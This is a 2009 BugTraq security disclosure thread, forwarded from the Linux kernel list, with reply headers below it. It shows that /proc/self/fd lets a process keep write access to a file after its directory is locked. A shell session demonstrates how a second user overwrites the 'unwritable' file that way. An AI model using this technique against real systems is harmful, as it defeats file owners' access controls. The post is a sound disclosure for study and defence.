BugTraq
/proc filesystem allows bypassing directory permissions on Linux Oct 23 2009 05:16PM
Pavel Machek (pavel ucw cz) (4 replies)
Hi!

This is forward from lkml, so no, I did not invent this
hole. Unfortunately, I do not think lkml sees this as a security hole,
so...

Jamie Lokier said:
> > > a) the current permission model under /proc/PID/fd has a security
> > > hole (which Jamie is worried about)
> >
> > I believe its bugtraq time. Being able to reopen file with additional
> > permissions looks like a security problem...
> >
> > Jamie, do you have some test script? And do you want your 15 minutes
> > of bugtraq fame? ;-).

> The reopen does check the inode permission, but it does not require
> you have any reachable path to the file. Someone _might_ use that as
> a traditional unix security mechanism, but if so it's probably quite rare.

Ok, I got this, with two users. I guess it is real (but obscure)
security hole.

So, we have this scenario. pavel/root is not doing anything interesting in
the background.

pavel@toy:/tmp$ uname -a
Linux toy.ucw.cz 2.6.32-rc3 #21 Mon Oct 19 07:32:02 CEST 2009 armv5tel GNU/Linux
pavel@toy:/tmp mkdir my_priv; cd my_priv
pavel@toy:/tmp/my_priv$ echo this file should never be writable > unwritable_file
# lock down directory
pavel@toy:/tmp/my_priv$ chmod 700 .
# relax file permissions, directory is private, so this is safe
# check link count on unwritable_file. We would not want someone
# to have a hard link to work around our permissions, would we?
pavel@toy:/tmp/my_priv$ chmod 666 unwritable_file
pavel@toy:/tmp/my_priv$ cat unwritable_file
this file should never be writable
pavel@toy:/tmp/my_priv$ cat unwritable_file
got you
# Security problem here

[Please pause here for a while before reading how guest did it.]

Unexpected? Well, yes, to me anyway. Linux specific? Yes, I think so.

So what did happen? User guest was able to work around directory
permissions in the background, using /proc filesystem.

guest@toy:~$ bash 3< /tmp/my_priv/unwritable_file
# Running inside nested shell
guest@toy:~$ read A <&3
guest@toy:~$ echo $A
this file should never be writable

guest@toy:~$ cd /tmp/my_priv
guest@toy:/tmp/my_priv$ ls
unwritable_file

# pavel did chmod 000, chmod 666 here
guest@toy:/tmp/my_priv$ ls
ls: cannot open directory .: Permission denied

# Linux correctly prevents guest from writing to that file
guest@toy:/tmp/my_priv$ cat unwritable_file
cat: unwritable_file: Permission denied
guest@toy:/tmp/my_priv$ echo got you >&3
bash: echo: write error: Bad file descriptor

# ...until we take a way around it with /proc filesystem. Oops.
guest@toy:/tmp/my_priv$ echo got you > /proc/self/fd/3

Pavel
--
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

----- End forwarded message -----

--
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

[ reply ]
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 26 2009 04:01PM
Tony Finch (dot dotat at) (3 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 27 2009 01:06PM
Pavel Machek (pavel ucw cz)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 26 2009 10:48PM
Matthew Dempsky (matthew dempsky org) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 27 2009 11:29AM
Tony Finch (dot dotat at) (2 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 27 2009 08:39PM
psz maths usyd edu au (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 28 2009 10:31PM
Glynn Clements (glynn gclements plus com)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 27 2009 04:59PM
Matthew Dempsky (matthew dempsky org)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 25 2009 10:13AM
Pavel Kankovsky (peak argo troja mff cuni cz)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 24 2009 01:55AM
Daryl Tester (dt-bugtraq handcraftedcomputers com au)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 23 2009 07:57PM
Dan Yefimov (dan lightwave net ru) (2 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 24 2009 06:46AM
Derek Martin (code pizzashack org) (1 replies)
Re: /proc filesystem allows bypassing directory permissions onLinux Oct 26 2009 06:37PM
Ansgar Wiechers (bugtraq planetcobalt net) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 27 2009 08:34PM
Derek Martin (code pizzashack org) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 23 2009 09:08PM
Pavel Machek (pavel ucw cz) (2 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 23 2009 11:47PM
psz maths usyd edu au (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 24 2009 07:02PM
Pavel Machek (pavel ucw cz) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 25 2009 12:40AM
psz maths usyd edu au (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 26 2009 10:42AM
Dan Yefimov (dan lightwave net ru)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 23 2009 09:24PM
Dan Yefimov (dan lightwave net ru) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 23 2009 09:56PM
Pavel Machek (pavel ucw cz) (2 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 26 2009 06:14PM
Joel Maslak (jmaslak antelope net)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 23 2009 10:31PM
Dan Yefimov (dan lightwave net ru) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 26 2009 04:14PM
Stephen Harris (bugtraq spuddy org) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 27 2009 11:04AM
Vincent Zweije vincent+bugtraq (at) sense.xs4all (dot) nl [email concealed] (vincent+bugtraq sense xs4all nl) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 27 2009 05:09PM
Dan Yefimov (dan lightwave net ru) (3 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 28 2009 09:27PM
Pavel Machek (pavel ucw cz) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 29 2009 03:24PM
Dan Yefimov (dan lightwave net ru) (1 replies)
Re: /proc filesystem allows bypassing directory permissions onLinux Oct 29 2009 07:20PM
Pavel Machek (pavel ucw cz) (1 replies)
Re: /proc filesystem allows bypassing directory permissions onLinux Oct 29 2009 08:10PM
Jim Paris (jim jtan com) (2 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 30 2009 05:57PM
Marco Verschuur (marco osp nl)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 30 2009 05:22PM
Marco Verschuur (marco osp nl) (2 replies)
Re: /proc filesystem allows bypassing directory permissions onLinux Oct 30 2009 05:40PM
Jim Paris (jim jtan com) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Nov 02 2009 05:53PM
Martin Rex (Martin Rex sap com) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Nov 02 2009 07:53PM
Pavel Machek (pavel ucw cz) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Nov 02 2009 08:56PM
Gabor Gombas (gombasg sztaki hu) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Nov 02 2009 11:33PM
Martin Rex (Martin Rex sap com) (3 replies)
Re: /proc filesystem allows bypassing directory permissions on Nov 04 2009 08:29PM
Pavel Kankovsky (peak argo troja mff cuni cz)
Re: /proc filesystem allows bypassing directory permissions on Nov 03 2009 01:06PM
Dan Yefimov (dan lightwave net ru)
Re: /proc filesystem allows bypassing directory permissions on Nov 03 2009 09:32AM
Gabor Gombas (gombasg sztaki hu) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Nov 03 2009 11:17PM
psz maths usyd edu au (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Nov 04 2009 08:06AM
Gabor Gombas (gombasg sztaki hu) (3 replies)
Re: /proc filesystem allows bypassing directory permissions on Nov 04 2009 10:15AM
psz maths usyd edu au (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Nov 04 2009 11:40AM
Gabor Gombas (gombasg sztaki hu)
Re: /proc filesystem allows bypassing directory permissions on Nov 04 2009 08:32AM
Pavel Machek (pavel ucw cz)
Re: /proc filesystem allows bypassing directory permissions on Nov 04 2009 08:31AM
Pavel Machek (pavel ucw cz)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 30 2009 05:38PM
Pavel Machek (pavel ucw cz) (2 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 30 2009 06:27PM
Marco Verschuur (marco osp nl)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 28 2009 08:28PM
Vincent Zweije (vzweije zweije nl)


 

Privacy Statement
Copyright 2010, SecurityFocus